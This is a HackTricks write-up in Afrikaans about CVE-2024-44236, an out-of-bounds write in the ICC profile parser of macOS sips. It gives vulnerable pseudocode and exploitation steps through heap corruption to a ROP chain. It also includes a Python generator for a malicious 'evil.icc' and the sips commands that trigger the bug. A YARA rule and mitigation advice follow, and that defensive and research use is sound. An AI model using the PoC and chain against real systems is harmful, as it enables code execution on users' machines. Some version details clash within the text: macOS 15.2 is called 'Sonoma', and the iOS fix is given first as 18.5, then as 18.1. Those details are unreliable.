WWW2Exec - sips ICC Profiel Uit-die-grense Skryf (CVE-2024-44236)
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
'n Uit-die-grense zero-write kwesbaarheid in Apple macOS Scriptable Image Processing System (sips
) ICC profiel parser (macOS 15.0.1, sips-307
) laat 'n aanvaller toe om heap metadata te korrupteer en die primitiewe in volle kode-uitvoering te draai. Die fout is geleë in die hantering van die offsetToCLUT
veld van die lutAToBType
(mAB
) en lutBToAType
(mBA
) etikette. As aanvallers offsetToCLUT == tagDataSize
stel, verwyder die parser 16 bytes oor die einde van die heap buffer. Heap spraying laat die aanvaller toe om allokator strukture of C++ pointers wat later gedereferensieer sal word, op nul te stel, wat 'n arbitrary-write-to-exec ketting oplewer (CVE-2024-44236, CVSS 7.8).
Apple het die fout reggestel in macOS Sonoma 15.2 / Ventura 14.7.1 (30 Oktober 2024). 'n Tweede variasie (CVE-2025-24185) is reggestel in macOS 15.5 en iOS/iPadOS 18.5 op 1 April 2025.
Kwesbare Kode
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Exploitasiestappe
- Skep 'n kwaadwillige
.icc
profiel
- Stel 'n minimale ICC kop (
acsp
) op en voeg eenmAB
(ofmBA
) etiket by. - Konfigureer die etiket tabel sodat die
offsetToCLUT
gelyk is aan die etiketgrootte (tagDataSize
). - Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul skrywe oorvleuel met die allokator metadata.
- Trigger parsing met enige sips operasie wat die profiel raak
# verifikasiepaaie (geen uitvoerfile benodig nie)
sips --verifyColor evil.icc
# of implisiet wanneer beelde wat die profiel inkorporeer, omskakel
sips -s format png payload.jpg --out out.png
- Heap metadata korrupsie ➜ arbitrêre skrywe ➜ ROP
Op Apple se standaard
nano_zone
allokator, metadata vir 16-byte slots leef onmiddellik na die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, klap die 16 nul-skrywemeta->slot_B
. Na 'n daaropvolgendefree
, word die vergiftigde pointeur in die klein vrye lys geplaas, wat die aanvaller toelaat om 'n vals objek op 'n arbitrêre adres te allokeer en 'n C++ vtable pointeur wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai.
Vinige PoC generator (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
YARA opsporingsreël
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Impak
Die opening of verwerking van 'n vervaardigde ICC-profiel lei tot afstand arbitraire kode-uitvoering in die konteks van die aanroepende gebruiker (Preview, QuickLook, Safari beeldrendering, e-posaanhangsels, ens.), wat Gatekeeper omseil omdat die profiel in andersins goedaardige beelde (PNG/JPEG/TIFF) ingebed kan word.
Opsporing & Versagting
- Patches! Verseker dat die gasheer macOS ≥ 15.2 / 14.7.1 (of iOS/iPadOS ≥ 18.1) draai.
- Ontplooi die YARA-reël hierbo op e-posgate en EDR-oplossings.
- Verwyder of saniteer ingebedde ICC-profiele met
exiftool -icc_profile= -overwrite_original <file>
voordat verdere verwerking op onbetroubare lêers plaasvind. - Versterk Preview/QuickLook deur hulle binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word.
- Vir DFIR, soek na onlangse uitvoering van
sips --verifyColor
ofColorSync
biblioteeklaai deur gesandboksde toepassings in die verenigde log.
Verwysings
- Trend Micro Zero Day Initiative advies ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple sekuriteitsopdaterings HT213981 “Oor die sekuriteitsinhoud van macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.